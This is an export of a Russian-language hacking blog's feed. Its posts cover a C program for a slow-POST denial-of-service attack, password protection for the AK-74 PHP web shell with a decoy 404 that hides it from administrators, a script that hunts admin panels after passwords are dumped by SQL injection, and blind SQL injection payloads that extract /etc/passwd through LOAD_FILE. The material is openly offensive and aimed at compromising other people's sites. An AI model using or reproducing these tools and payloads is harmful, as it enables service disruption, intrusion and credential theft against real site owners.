<span style="color: #339933;">#define BUF_LEN 4096</span>
<span style="color: #339933;">#define HTTP_PORT 80</span>
<span style="color: #339933;">#define SLEEP_PERIOD 1</span>
<span style="color: #339933;">#define POST_COUNT &quot;100&quot;</span>
<span style="color: #339933;">#define PATH &quot;/path/to/post&quot;</span>
&nbsp;
<span style="color: #993333;">int</span> main <span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span> argv<span style="color: #009900;">&#41;</span>
<span style="color: #009900;">&#123;</span>
<span style="color: #993333;">int</span> sock<span style="color: #339933;">,</span> count<span style="color: #339933;">;</span>
<span style="color: #993333;">char</span> <span style="color: #339933;">*</span> buf<span style="color: #339933;">;</span>
<span style="color: #993333;">struct</span> hostent <span style="color: #339933;">*</span> host<span style="color: #339933;">;</span>
<span style="color: #993333;">struct</span> sockaddr_in addr<span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">&lt;</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Too few arguments<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
buf <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> <span style="color: #000066;">malloc</span> <span style="color: #009900;">&#40;</span>BUF_LEN<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>buf <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;malloc() error<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
sock <span style="color: #339933;">=</span> socket <span style="color: #009900;">&#40;</span>PF_INET<span style="color: #339933;">,</span> SOCK_STREAM<span style="color: #339933;">,</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>sock <span style="color: #339933;">==</span> <span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;socket() error<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
addr.<span style="color: #202020;">sin_family</span> <span style="color: #339933;">=</span> AF_INET<span style="color: #339933;">;</span>
&nbsp;
host <span style="color: #339933;">=</span> gethostbyname <span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>host <span style="color: #339933;">==</span> NULL<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Unknown server<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
addr.<span style="color: #202020;">sin_addr</span> <span style="color: #339933;">=</span> <span style="color: #339933;">*</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> in_addr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>host<span style="color: #339933;">-&gt;</span>h_addr_list<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
&nbsp;
addr.<span style="color: #202020;">sin_port</span> <span style="color: #339933;">=</span> htons <span style="color: #009900;">&#40;</span>HTTP_PORT<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>connect<span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">struct</span> sockaddr<span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>addr<span style="color: #339933;">,</span> <span style="color: #993333;">sizeof</span> <span style="color: #009900;">&#40;</span>addr<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">==-</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span>
 <span style="color: #009900;">&#123;</span><span style="color: #000066;">fprintf</span> <span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;connect() error<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
&nbsp;
<span style="color: #000066;">strcpy</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;POST &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span>PATH<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot; HTTP/1.1<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;Content-Type: application/x-www-form-urlencoded<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;Content-Length: &quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span>POST_COUNT<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">strcat</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span><span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #000066;">fprintf</span><span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span>buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
write <span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span> buf<span style="color: #339933;">,</span> <span style="color: #000066;">strlen</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">for</span><span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> i<span style="color: #339933;">=</span><span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>i<span style="color: #339933;">&lt;</span><span style="color: #000066;">atoi</span><span style="color: #009900;">&#40;</span>POST_COUNT<span style="color: #009900;">&#41;</span><span style="color: #339933;">-</span><span style="color: #0000dd;">1</span><span style="color: #339933;">;</span>i<span style="color: #339933;">++</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000066;">fprintf</span><span style="color: #009900;">&#40;</span>stderr<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;-%d&quot;</span><span style="color: #339933;">,</span> i<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
write<span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;a&quot;</span><span style="color: #339933;">,</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
sleep<span style="color: #009900;">&#40;</span>SLEEP_PERIOD<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
<span style="color: #000066;">strcpy</span><span style="color: #009900;">&#40;</span>buf<span style="color: #339933;">,</span><span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\r</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
write <span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span> buf<span style="color: #339933;">,</span> <span style="color: #000066;">strlen</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#40;</span>count <span style="color: #339933;">=</span> read <span style="color: #009900;">&#40;</span>sock<span style="color: #339933;">,</span> buf<span style="color: #339933;">,</span> BUF_LEN<span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&gt;</span> <span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span>
write <span style="color: #009900;">&#40;</span><span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> buf<span style="color: #339933;">,</span> count<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
close <span style="color: #009900;">&#40;</span>sock<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000066;">free</span> <span style="color: #009900;">&#40;</span>buf<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>Компилируем так:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
</pre></td><td class="code"><pre class="php" style="font-family:monospace;">$ gcc <span style="color: #339933;">-</span>o newdos newdos<span style="color: #339933;">.</span>c <span style="color: #339933;">-</span>std<span style="color: #339933;">=</span>gnu9</pre></td></tr></table></div>

<p>Полную новость смотрите на <a href="https://rdot.org/forum/showthread.php?t=872" target="_blank">rdot&#8217;е</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/11/10/realizatsiya-dos-medlennogo-post/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>добавляем авторизацию к AK-74 Web-shell</title>
		<link>http://blog.lukmus.ru/2010/09/30/dobavlyaem-avtorizatsiyu-k-ak-74-web-shell/</link>
		<comments>http://blog.lukmus.ru/2010/09/30/dobavlyaem-avtorizatsiyu-k-ak-74-web-shell/#comments</comments>
		<pubDate>Thu, 30 Sep 2010 22:25:50 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[AK-74]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[web-shell]]></category>
		<category><![CDATA[шелл]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=521</guid>
		<description><![CDATA[AK-74 &#8211; отличный шелл, там нет крутых наворотов, AJAX&#8217;а и прочей красоты, совершенно не нужной в таком деле. Однако там нет и еще одной вещи, на мой взгляд важной &#8211; авторизации. Вероятно, авторы шелла, к сожалению не знаю ссылки на создателей, думали, что любой пользователь сам в состоянии дописать авторизацию т.к. код скрипта прост и [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/ak74.jpg"><img class="alignleft size-full wp-image-522" title="ak74" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/ak74.jpg" alt="" width="171" height="128" /></a>AK-74 &#8211; отличный шелл, там нет крутых наворотов, AJAX&#8217;а и прочей красоты, совершенно не нужной в таком деле. Однако там нет и еще одной вещи, на мой взгляд важной &#8211; авторизации. Вероятно, авторы шелла, к сожалению не знаю ссылки на создателей, думали, что любой пользователь сам в состоянии дописать авторизацию т.к. код скрипта прост и нагляден. Там и вправду ничего сложного нет.<span id="more-521"></span></p>
<p>Вообщем мне понадобилось и я дописал пару строчек, выполняющих авторизацию.</p>
<p>Я предлагаю 2 вида авторизации:</p>
<ul>
<li>ввод пароля в адресной строке методом GET</li>
<li>хэш пароля в User-Agent браузера</li>
</ul>
<p>Второй способ мне больше нравится т.к. не надо ничего запоминать, однако в таком случае если вы зайдете с этого браузера на любой другой сайт, то ваш хэш с легкостью будет перехвачен и записан в лог апача. Поэтому лучше использовать 2 способа одновременно.</p>
<p>Конфиг авторизации лежит в самом начале скрипта шелла:<br />
<code>//---------------------config-<br />
$get_pass=md5("getpass"); //пароль по GET<br />
$ua_pass=md5("uapass"); //пароль по User-Agent<br />
$auth_var=array(<br />
'get_pass'=&gt;true, //вкл/выкл GET<br />
'user_agent'=&gt;false); //вкл/выкл User-Agent<br />
//----------------------------</code></p>
<p>В случае неудачной авторизации шелл выдаст ошибку 404 и немного изменит в адресной строке адрес т.е. заредиректит на схожий путь, тем самым запутав любопытного админа.</p>
<p>Ввод пароля по GET делается так:<br />
<code>/path/to/shell.php?kw=getpass</code></p>
<p>Для того, чтобы войти по User-Agent нужно вбить в браузер, чтобы он давал такой заголовок в пакете. Например в Firefox&#8217;е это делается так:</p>
<ul>
<li>в адресной строке вводим about:config</li>
<li>в поле фильтр вбиваем general.useragent.extra.firefox</li>
<li>дописываем в значение поля хэш нашего $ua_pass</li>
</ul>
<p>Скачать это дело можно <a rel="nofollow" href="http://www.sendspace.com/file/zn0b1s" target="_blank">тут</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/30/dobavlyaem-avtorizatsiyu-k-ak-74-web-shell/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>поиск админок на множестве сайтов</title>
		<link>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/</link>
		<comments>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/#comments</comments>
		<pubDate>Sat, 18 Sep 2010 16:46:51 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[админка]]></category>
		<category><![CDATA[поиск]]></category>
		<category><![CDATA[список]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=508</guid>
		<description><![CDATA[Иногда бывает такая ситуация, когда допустим получив доступ к базе и слив оттуда все пароли нужно найти тот скрипт, где эти пароли подойдут. Все бы было ничего, если бы админка находилась на том же сайте что и уязвимое место. Тогда бы мы просто просканировали сайт по списку, допустим тем же Havij&#8217;ом. Однако, часто так бывает, [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/adminki.jpg"><img class="alignleft size-full wp-image-509" title="adminki" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/adminki.jpg" alt="поиск админки" width="151" height="150" /></a>Иногда бывает такая ситуация, когда допустим получив доступ к базе и слив оттуда все пароли нужно найти тот скрипт, где эти пароли подойдут. Все бы было ничего, если бы админка находилась на том же сайте что и уязвимое место. Тогда бы мы просто просканировали сайт по списку, допустим тем же Havij&#8217;ом.<span id="more-508"></span></p>
<p>Однако, часто так бывает, что на одном хостинге (аккаунт хостинга) размещается куча сайтов, но т.к. аккаунт от хостинга 1, то и сервер БД один, а иногда и БД одна для разных сайтов.</p>
<p>Короче, представим такую ситауцию, вы нашли уязвимое место, скажем SQL-inj, вытащили все пароли, но на этом сайте нет админок или эти пароли не подходят. В таком случае нужно найти все сайты, которые висят на этом сервере или же все сайты, которые принадлежат этому акку хостинга. Узнать последнее &#8211; задача не тривиальная, а первое можно через тот же 2ip.ru.</p>
<p>Далее весь этот список сайтов нужно просканировать на различные пути к админке. Havij позволят за 1 раз искать пути только к 1 сайту. А если у нас список из 50-100 сайтов, то каждый раз вбивать в ручную в Havij утомительно.</p>
<p>Я предлагаю такой простенький скриптик, который переберет все пути к списку сайтов. Скачать можно <a href="http://blog.lukmus.ru/wp-content/uploads/2012/05/adminfinder-10-05-2012.tar.gz" target="_blank">здесь</a>.</p>
<h2>конфигурация</h2>
<p>Открываем файл config.rb и видим:</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$site_list</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;site_list&quot;</span> <span style="color: #666666; font-style: italic;"># список сайтов
</span><span style="color: #000088;">$admin_list</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;admin_list&quot;</span> <span style="color: #666666; font-style: italic;"># список путей к админкам
</span><span style="color: #000088;">$th_count</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">50</span> <span style="color: #666666; font-style: italic;"># количество потоков
</span><span style="color: #000088;">$log_file</span><span style="color: #339933;">=</span><span style="color: #0000ff;">&quot;log&quot;</span> <span style="color: #666666; font-style: italic;"># лог файл, записываются успешные пути</span></pre></td></tr></table></div>

<p>и все сразу становится понятно.</p>
<p>В архиве прилагается список путей к админкам честно украденный из Havij.</p>
<p>Принцип работы скрипта прост &#8211; запрашивает страницу с данным путем и если код ответа сервера не равен 404, то путь записывается в $log_file как успешный.</p>
<p>Еще хочу попросить, если у кого-то есть более полный список путей к админкам, то выложите где-нибудь, пожалуйста.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/18/poisk-adminok-na-mnozhestve-saytov/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>особенности файловой системы UFS на Solaris</title>
		<link>http://blog.lukmus.ru/2010/09/02/osobennosti-faylovoy-sistemyi-ufs-na-solaris/</link>
		<comments>http://blog.lukmus.ru/2010/09/02/osobennosti-faylovoy-sistemyi-ufs-na-solaris/#comments</comments>
		<pubDate>Thu, 02 Sep 2010 19:47:00 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[solaris]]></category>
		<category><![CDATA[ufs]]></category>
		<category><![CDATA[чтение директории]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=470</guid>
		<description><![CDATA[Недавно возникла у меня неординарная ситуация. Сайт располагался на Solaris 9 и была там слепая Sql-inj (под которую собственно и был написана предыдущая статья). Так как там была MySQL 3 ни о каких UNION и подзапросах речь не шла. Шелл тоже не заливался. Единственное, что я мог так это читать файл через LOAD_FILE. Однако, была [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/09/solaris-logo.jpg"><img class="size-full wp-image-471 alignleft" style="margin-top: 3px; margin-bottom: 3px;" title="solaris-logo" src="http://blog.lukmus.ru/wp-content/uploads/2010/09/solaris-logo.jpg" alt="" width="216" height="106" /></a>Недавно возникла у меня неординарная ситуация. Сайт располагался на Solaris 9 и была там слепая Sql-inj (под которую собственно и был написана предыдущая статья). Так как там была MySQL 3 ни о каких UNION и подзапросах речь не шла. Шелл тоже не заливался. Единственное, что я мог так это читать файл через LOAD_FILE.<span id="more-470"></span></p>
<p>Однако, была одна надежда &#8211; нужно было прочитать один скрипт, который располагался в поддомене основного, но путь к нему я не знал. Честно говоря, я на солярном сервере вообще плохо ориентировался.</p>
<p>Решение мне подсказал rat-energizer с <a rel="nofollow" href="http://rdot.org/forum" target="_blank">rdot</a>&#8216;а.</p>
<p><span style="font-size: 1.4em;">решение</span></p>
<p>Читаем /etc/vfstab и видим там что-то типа</p>
<p><code>#device		device		mount	FS	fsck	mount	mount<br />
#to mount	to fsck		point	type	pass	at boot	options<br />
#<br />
fd		-		/dev/fd	fd	-	no	-<br />
/proc		-		/proc	proc	-	no	-<br />
/dev/md/dsk/d2	-		-	swap	-	no	-<br />
/dev/md/dsk/drk 	/dev/md/rdsk/d1	/	ufs	1	no	logging<br />
/dev/md/dsk/dw 	/dev/md/rdsk/d3	/www	ufs	2	yes	logging<br />
/dev/md/dsk/dat 	/dev/md/rdsk/d4	/data	ufs	2	yes	logging<br />
/dev/md/dsk/da	        /dev/md/rdsk/d5	/app	ufs	2	yes	logging<br />
swap		-		/tmp	tmpfs	-	yes--</code></p>
<p>Внимательно смотрим и если видим там UFS, то дело в шляпе.</p>
<p>Документации по этой теме я не нашел. Короче суть дела в том, что файловая система UFS, по крайней мере, в Solaris предоставляет возможность читать директории как файлы. Программно открыв директорию можно получить список содержащихся там файлов.</p>
<p>Эта директория-файл читается как бинарный файл, поэтому скрипт не должен останавливатся когда при чтении дойдет до символа с ASCII больше 127 или равному 0.</p>
<p>Для примера, если прочитать /etc, то в выходном файле будет что-то типа</p>
<p><code>...TIMEZONEautopushcfgadmclricroncron.ddcopydefaultdfsdhcpfffmthardformatfsfsck<br />
и так далее...<br />
</code><br />
Если вы будете использовать эту возможность, для считывания файла через MySQL через мой скрипт в прошлой статье, то там следует поменять условия проверки окончания файла, если ASCII-код символа равен 0 или больше 127.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/09/02/osobennosti-faylovoy-sistemyi-ufs-na-solaris/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>автоматизация слива через blind sql-inj</title>
		<link>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/</link>
		<comments>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 20:52:43 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[blind sql-inj]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[SQL-inj]]></category>
		<category><![CDATA[автоматизация]]></category>
		<category><![CDATA[слепая sql инъекция]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=450</guid>
		<description><![CDATA[Выкладываю пару скриптов автоматизации слива данных из слепой скули. Первый скрипт долгий т.к. однопоточный, зато точный т.е. стопудов однозначно вычислит символ до которого дошел. Второй многопоточный, иногда немного недовычисляет при частых обрывах сети, однако допустим для вычисления текста файла функцией MySQL LOAD_FILE в самый раз т.к. гораздо быстрее обработает длинный текст, а не досчитанные символы [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/08/sql_inject.png"><img class="alignleft size-full wp-image-451" style="margin-bottom: 2px; margin-right: 10px;" title="sql_inject" src="http://blog.lukmus.ru/wp-content/uploads/2010/08/sql_inject.png" alt="sql-inj" width="316" height="136" /></a>Выкладываю пару скриптов автоматизации слива данных из слепой скули.</p>
<p>Первый скрипт долгий т.к. однопоточный, зато точный т.е. стопудов однозначно вычислит символ до которого дошел. Второй многопоточный, иногда немного недовычисляет при частых обрывах сети, однако допустим для вычисления текста файла функцией MySQL LOAD_FILE в самый раз т.к. гораздо быстрее обработает длинный текст, а не досчитанные символы можно самому догадатся или же пробежатся по ним первым скриптом.<span id="more-450"></span></p>
<p>Аналогов, наверное, существует немерянно, но несмотря на это, я думаю, что мои скрипты обладают отличным преймуществом &#8211; они очень гибкие т.к. примитивны и в них очень легко разобратся.</p>
<p>Что такое SQL-inj, в том числе и слепая скуля, как с ними быть и многое другое, на мой взгляд лучше всего описано в этом <a rel="nofollow" href="https://rdot.org/forum/showthread.php?t=124">FAQ на rdot&#8217;е</a>.</p>
<div style="font-size: 1.7em;">однопоточный точный</div>
<p><a rel="nofollow" href="http://www.sendspace.com/file/8mdl94" target="_blank">скачать скрипт</a></p>
<div style="font-size: 1.5em;">принцип работы</div>
<p>Как вы понимаете, если у вас слепая инъекция, то никаких прямых выводов на страницу не может быть. Вы задаете какой-либо предикат, а проще говоря, условие, например</p>
<p><code>128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))</code></p>
<p>и в соответсвии с этим условием у вас отобразится, например, либо новость под номером 10, либо 9. Приведу пример полного запроса:</p>
<p><code>http://site.com/?id=IF(128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --</code></p>
<p>ну или так:</p>
<p><code>http://site.com/?id=10 AND 128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --<br />
</code></p>
<p>В первом примере, если 128 больше ASCII-кода первого символа файла /etc/passwd, то выведется страница с новостью 10, в противном случае, выведется 9. Второй случай практически идентичен первому, заисключением того, что если не больше ASCII-кода, то выведется неизвестно какая страница (для каждого сайта индивидуально, надо просто попробывать запрос http://site.com/?id= ), скорее всего это будет редирект на главную.</p>
<p>Вообще существует достаточно много всяких способов раксрутки слепых скулей, не только по странице, которую мы получаем на выводе. Короче читаем FAQ, ссылка на которую указана выше.</p>
<p>Так вот скрипт, берет допустим первый символ и формирует такой запрос:</p>
<p><code>128&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code></p>
<p>если условие верно т.е. открылась страница с новостью 10, значит 128&gt;=ASCII&gt;=0, тогда скрипт делает запрос</p>
<p><code>64&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>32&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p>тогда следующий запрос, будет отталкиватся от кода 48 (48=32+32/2)</p>
<p><code>48&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p>тогда вычитаем 8 (на прошлом ходе прибавляли 16, на каждом шаге делем на 2)</p>
<p><code>40&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p><code>44&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>42&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>41&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p><code>42=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p>таким образом мы за 9 шагов однозначно определили символ.</p>
<p>Далее скрипт берет следующий символ и начинает все заново.</p>
<p><code>128&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))</code></p>
<p>Я не читал, все статьи по blind SQL-inj, поэтому если кто-то придумал такой перебор раньше меня, а так наверняка оно и есть, не обижайтесь, что здесь нет ссылки на вышу статью и укажите ее в комментариях.</p>
<p>Все разгаданные символы скрипт записывает в файл и выводит на экран консоли.</p>
<div style="font-size: 1.5em;">конфигурация</div>
<p>Она располагается в начале скрипте и представляет из себя инициализацию глобальных переменных.</p>
<p><code style="font-size: 0.8em;">#config<br />
$request="/article.php?id=44+AND+##NUM####SIGN##ASCII%28MID%28##REPLACE##,##I##,1%29%29"<br />
$outfile="outfile"<br />
$priznak="eta_kartinka_est_tolko_v_statie_s_nomerom_44.jpg"<br />
$func="LOAD_FILE%28"+"0x2f6574632f706173737764"+"%29" #/etc/passwd<br />
$site="www.site.com"<br />
$start=1<br />
#config<br />
</code><br />
<strong>$request</strong> &#8211; сам запрос, с метками:</p>
<ul>
<li>##NUM## &#8211; число с которым сравнивается ASCII-код</li>
<li>##SIGN## &#8211; место, куда будет подставляться знак (&gt;,=)</li>
<li>##REPLACE## &#8211; сама функция, задающаяся в переменной $func</li>
<li>##I## &#8211; номер символа</li>
</ul>
<p>Задаем эту переменную в соответствии с нашим запросом, при этом правильно расставляем метки.</p>
<p><strong>$outfile </strong>- файл куда будет все выводится.<br />
<strong>$priznak</strong> &#8211; часть страницы, отличающая страницу с верным выводом от неверной. Т.е. при таком виде запроса</p>
